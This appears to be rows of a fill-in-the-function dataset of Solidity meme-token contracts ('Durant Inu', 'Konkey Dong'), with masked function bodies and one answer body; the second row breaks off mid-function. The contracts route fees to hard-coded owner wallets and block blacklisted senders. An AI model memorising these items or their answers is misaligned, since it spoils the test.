if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/3);
_feeAddrWallet2.transfer(amount/3);
_feeAddrWallet3.transfer(amount/3);
}
function openTrading() external onlyOwner() {<FILL_FUNCTION_BODY> }
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract AN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "Durant Inu";
string private constant _symbol = "DURANT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x11eb51A83e022E3606Fa5Ea3FF058302e3F45EcA);
_feeAddrWallet2 = payable(0x11eb51A83e022E3606Fa5Ea3FF058302e3F45EcA);
_feeAddrWallet3 = payable(0x11eb51A83e022E3606Fa5Ea3FF058302e3F45EcA);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 8;
_feeAddr2 = 8;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/3);
_feeAddrWallet2.transfer(amount/3);
_feeAddrWallet3.transfer(amount/3);
}
<FILL_FUNCTION>
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
| function openTrading() external onlyOwner() | function openTrading() external onlyOwner() |
27757 | Dong | _transferToExcluded | contract Dong is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress;
address payable public devAddress;
address payable public liquidityAddress;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
bool public limitsInEffect = true;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 1e15 * 1e9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Konkey Dong";
string private constant _symbol = "DONG";
uint8 private constant _decimals = 9;
// these values are pretty much arbitrary since they get overwritten for every txn, but the placeholders make it easier to work with current contract.
uint256 private _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _marketingFee;
uint256 private _liquidityFee;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private constant BUY = 1;
uint256 private constant SELL = 2;
uint256 private constant TRANSFER = 3;
uint256 private buyOrSellSwitch;
uint256 public _buyTaxFee = 2;
uint256 public _buyLiquidityFee = 1;
uint256 public _buyMarketingFee = 7;
uint256 public _sellTaxFee = 2;
uint256 public _sellLiquidityFee = 1;
uint256 public _sellMarketingFee = 7;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
mapping(address => bool) public boughtEarly; // mapping to track addresses that buy within the first 2 blocks pay a 3x tax for 24 hours to sell
uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty
uint256 public _liquidityTokensToSwap;
uint256 public _marketingTokensToSwap;
uint256 public maxTransactionAmount;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
bool private gasLimitActive = true;
uint256 private gasPriceLimit = 500 * 1 gwei; // do not allow over 500 gwei for launch
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
uint256 private minimumTokensBeforeSwap;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
bool public tradingActive = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
event SetAutomatedMarketMakerPair(address pair, bool value);
event ExcludeFromReward(address excludedAddress);
event IncludeInReward(address includedAddress);
event ExcludeFromFee(address excludedAddress);
event IncludeInFee(address includedAddress);
event SetBuyFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee);
event SetSellFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee);
event TransferForeignToken(address token, uint256 amount);
event UpdatedMarketingAddress(address marketing);
event UpdatedLiquidityAddress(address liquidity);
event OwnerForcedSwapBack(uint256 timestamp);
event BoughtEarly(address indexed sniper);
event RemovedSniper(address indexed notsnipersupposedly);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
_rOwned[_msgSender()] = _rTotal / 1000 * 620;
_rOwned[address(this)] = _rTotal / 1000 * 380;
maxTransactionAmount = _tTotal * 5 / 1000; // 0.5% maxTransactionAmountTxn
minimumTokensBeforeSwap = _tTotal * 5 / 10000; // 0.05% swap tokens amount
marketingAddress = payable(0x5ABA07E022556083769e2547FaD3067442220e1C); // Marketing Address
devAddress = payable(0x39Cb8494adb4F5f0dF7642fdCf873877Eb5ae0A4); // Dev Address
liquidityAddress = payable(owner()); // Liquidity Address (switches to dead address once launch happens)
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingAddress] = true;
_isExcludedFromFee[liquidityAddress] = true;
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
emit Transfer(address(0), _msgSender(), _tTotal * 620 / 1000);
emit Transfer(address(0), address(this), _tTotal * 380 / 1000);
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcludedFromReward(address account)
external
view
returns (bool)
{
return _isExcluded[account];
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
// remove limits after token is stable - 30-60 minutes
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
gasLimitActive = false;
transferDelayEnabled = false;
return true;
}
// disable Transfer delay
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// once enabled, can never be turned off
function enableTrading() internal onlyOwner {
tradingActive = true;
swapAndLiquifyEnabled = true;
tradingActiveBlock = block.number;
earlyBuyPenaltyEnd = block.timestamp + 72 hours;
}
// send tokens and ETH for liquidity to contract directly, then call this (not required, can still use Uniswap to add liquidity manually, but this ensures everything is excluded properly and makes for a great stealth launch)
function launch(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){
require(!tradingActive, "Trading is already active, cannot relaunch.");
require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input.
for(uint256 i = 0; i < airdropWallets.length; i++){
address wallet = airdropWallets[i];
uint256 amount = amounts[i];
_transfer(msg.sender, wallet, amount);
}
enableTrading();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
require(address(this).balance > 0, "Must have ETH on contract to launch");
addLiquidity(balanceOf(address(this)), address(this).balance);
setLiquidityAddress(address(0x39Cb8494adb4F5f0dF7642fdCf873877Eb5ae0A4));
return true;
}
function minimumTokensBeforeSwapAmount() external view returns (uint256) {
return minimumTokensBeforeSwap;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
_isExcludedMaxTransactionAmount[pair] = value;
if(value){excludeFromReward(pair);}
if(!value){includeInReward(pair);}
}
function setGasPriceLimit(uint256 gas) external onlyOwner {
require(gas >= 200);
gasPriceLimit = gas * 1 gwei;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
require(_excluded.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address.");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) public onlyOwner {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!tradingActive){
require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet.");
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!inSwapAndLiquify
){
if(from != owner() && to != uniswapV2Pair && block.number == tradingActiveBlock){
boughtEarly[to] = true;
emit BoughtEarly(to);
}
// only use to prevent sniper buys in the first blocks.
if (gasLimitActive && automatedMarketMakerPairs[from]) {
require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[to] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
}
}
uint256 totalTokensToSwap = _liquidityTokensToSwap.add(_marketingTokensToSwap);
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
// swap and liquify
if (
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
balanceOf(uniswapV2Pair) > 0 &&
totalTokensToSwap > 0 &&
!_isExcludedFromFee[to] &&
!_isExcludedFromFee[from] &&
automatedMarketMakerPairs[to] &&
overMinimumTokenBalance
) {
swapBack();
}
bool takeFee = true;
// If any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
buyOrSellSwitch = TRANSFER; // TRANSFERs do not pay a tax.
} else {
// Buy
if (automatedMarketMakerPairs[from]) {
removeAllFee();
_taxFee = _buyTaxFee;
_liquidityFee = _buyLiquidityFee + _buyMarketingFee;
buyOrSellSwitch = BUY;
}
// Sell
else if (automatedMarketMakerPairs[to]) {
removeAllFee();
_taxFee = _sellTaxFee;
_liquidityFee = _sellLiquidityFee + _sellMarketingFee;
buyOrSellSwitch = SELL;
// higher tax if bought in the same block as trading active for 72 hours (sniper protect)
if(boughtEarly[from] && earlyBuyPenaltyEnd > block.timestamp){
_taxFee = _taxFee * 5;
_liquidityFee = _liquidityFee * 5;
}
// Normal transfers do not get taxed
} else {
require(!boughtEarly[from] || earlyBuyPenaltyEnd <= block.timestamp, "Snipers can't transfer tokens to sell cheaper until penalty timeframe is over. DM a Mod.");
removeAllFee();
buyOrSellSwitch = TRANSFER; // TRANSFERs do not pay a tax.
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapBack() private lockTheSwap {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = _liquidityTokensToSwap + _marketingTokensToSwap;
// Halve the amount of liquidity tokens
uint256 tokensForLiquidity = _liquidityTokensToSwap.div(2);
uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity);
uint256 initialETHBalance = address(this).balance;
swapTokensForETH(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(_marketingTokensToSwap).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance.sub(ethForMarketing);
uint256 ethForDev= ethForMarketing * 2 / 7; // 2/7 gos to dev
ethForMarketing -= ethForDev;
_liquidityTokensToSwap = 0;
_marketingTokensToSwap = 0;
(bool success,) = address(marketingAddress).call{value: ethForMarketing}("");
(success,) = address(devAddress).call{value: ethForDev}("");
addLiquidity(tokensForLiquidity, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
// send leftover BNB to the marketing wallet so it doesn't get stuck on the contract.
if(address(this).balance > 1e17){
(success,) = address(marketingAddress).call{value: address(this).balance}("");
}
}
// force Swap back if slippage above 49% for launch.
function forceSwapBack() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
require(contractBalance >= _tTotal / 100, "Can only swap back if more than 1% of tokens stuck on contract");
swapBack();
emit OwnerForcedSwapBack(block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityAddress,
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {<FILL_FUNCTION_BODY> }
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (
rAmount,
rTransferAmount,
rFee,
tTransferAmount,
tFee,
tLiquidity
);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
if(buyOrSellSwitch == BUY){
_liquidityTokensToSwap += tLiquidity * _buyLiquidityFee / _liquidityFee;
